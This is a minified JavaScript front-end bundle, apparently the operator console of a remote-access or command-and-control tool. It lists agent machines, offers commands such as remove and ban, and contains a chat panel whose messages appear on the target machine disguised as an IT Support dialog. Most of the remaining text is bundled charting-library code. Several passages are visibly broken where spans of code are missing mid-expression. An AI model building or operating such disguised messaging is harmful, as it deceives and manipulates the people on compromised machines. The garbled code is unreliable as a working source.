bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${pA[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${xA[s]}`,children:hA[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((D,M)=>a.jsxs(Ah.Fragment,{children:[Y(M)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>_(D.label,M),onMouseLeave:O,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?k?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":k?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===D.label||y===M?k?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((W,$)=>{const H=k&&W.nav.action!=="remove"&&W.nav.action!=="ban",F=fA.has(W.key)||W.nav.action==="remove",K=mA.has(W.key)||W.nav.action==="ban",Z=dA.has(W.key),oe=j&&b===$;return a.jsxs("button",{onClick:()=>P(W),disabled:H,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${F?oe?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":K?oe?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":H?"cursor-not-allowed text-zerin-text-muted":oe?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:W.label}),Z&&!H&&sn.externalLink]},W.key)})]})]})]},D.label))]})]})})};function M5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(vd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:gA(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r transition-colors hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function gA(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const yA=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function L5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=zA(e,kA),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Mp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),CA=["children","className"];function Lp(){return Lp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=PA(e,CA),s=Qe("recharts-layer",r);return m.createElement("g",Lp({className:s},Ut(i),{ref:t}),n)}),_A=m.createContext(null);function $e(e){return function(){return e}}const $5=Math.cos,eu=Math.sin,Qn=Math.sqrt,tu=Math.PI,gd=2*tu,Ip=Math.PI,Dp=2*Ip,Fi=1e-6,AA=Dp-Fi;function B5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return B5;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Ip-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Dp+Dp),p>AA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Ip)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ax(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new TA(t)}function Ox(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function F5(e){this._context=e}F5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function yd(e){return new F5(e)}function W5(e){return e[0]}function U5(e){return e[1]}function V5(e,t){var n=$e(!0),r=null,i=yd,s=null,o=Ax(l);e=typeof e=="function"?e:e===void 0?W5:$e(e),t=typeof t=="function"?t:t===void 0?U5:$e(t);function l(c){var u,d=(c=Ox(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return V5().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class H5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function MA(e){return new H5(e,!0)}function LA(e){return new H5(e,!1)}const Tx={draw(e,t){const n=Qn(t/tu);e.moveTo(n,0),e.arc(0,0,n,0,gd)}},IA={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},K5=Qn(1/3),DA=K5*2,RA={draw(e,t){const n=Qn(t/DA),r=n*K5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},$A={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},BA=.8908130915292852,Y5=eu(tu/10)/eu(7*tu/10),FA=eu(gd/10)*Y5,WA=-$5(gd/10)*Y5,UA={draw(e,t){const n=Qn(t*BA),r=FA*n,i=WA*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=gd*s/5,l=$5(o),c=eu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},am=Qn(3),VA={draw(e,t){const n=-Qn(t/(am*3));e.moveTo(0,n*2),e.lineTo(-am*n,-n),e.lineTo(am*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,Rp=1/Qn(12),HA=(Rp/2+1)*3,KA={draw(e,t){const n=Qn(t/HA),r=n/2,i=n*Rp,s=r,o=n*Rp+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function YA(e,t){let n=null,r=Ax(i);e=typeof e=="function"?e:$e(e||Tx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function nu(){}function ru(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function q5(e){this._context=e}q5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:ru(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function qA(e){return new q5(e)}function G5(e){this._context=e}G5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function GA(e){return new G5(e)}function X5(e){this._context=e}X5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function XA(e){return new X5(e)}function Z5(e){this._context=e}Z5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function ZA(e){return new Z5(e)}function oy(e){return e<0?-1:1}function ly(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(oy(s)+oy(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function cy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function sm(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function iu(e){this._context=e}iu.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:sm(this,this._t0,cy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,sm(this,cy(this,n=ly(this,e,t)),n);break;default:sm(this,this._t0,n=ly(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Q5(e){this._context=new J5(e)}(Q5.prototype=Object.create(iu.prototype)).point=function(e,t){iu.prototype.point.call(this,t,e)};function J5(e){this._context=e}J5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function QA(e){return new iu(e)}function JA(e){return new Q5(e)}function eN(e){this._context=e}eN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=uy(e),i=uy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function t6(e){return new bd(e,.5)}function n6(e){return new bd(e,0)}function r6(e){return new bd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function i6(e,t){return e[t]}function a6(e){const t=[];return t.key=e,t}function s6(){var e=$e([]),t=$p,n=ua,r=i6;function i(s){var o=Array.from(e.apply(this,arguments),a6),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:d6,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var Gt=e=>e===0?0:e>0?1:-1,mr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!mr(e),Lr=e=>ge(e)||typeof e=="string",f6=0,Ro=e=>{var t=++f6;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return mr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},rN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Do(r,t))===n)}var Mt=e=>e===null||typeof e>"u",al=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function or(e){return e!=null}function ys(){}var m6=["type","size","sizeType"];function Bp(){return Bp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(al(e));return aN[t]||Tx},w6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*y6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},j6=(e,t)=>{aN["symbol".concat(al(e))]=t},sN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=v6(e,m6),s=fy(fy({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=b6(o),h=YA().type(p).size(w6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Bp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};sN.registerSymbol=j6;var oN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Lx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{_x(i)&&(r[i]=s=>n[i](n,s))}),r},N6=(e,t,n)=>r=>(e(t,n,r),null),k6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];_x(i)&&typeof s=="function"&&(r||(r={}),r[i]=N6(s,t,n))}),r};function my(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var lN={},cN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(kd);var mN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(mN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=kd,n=mN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(dN);var pN={},hN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(hN);var xN={},Dx={},vN={},Rx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Rx);var $x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof 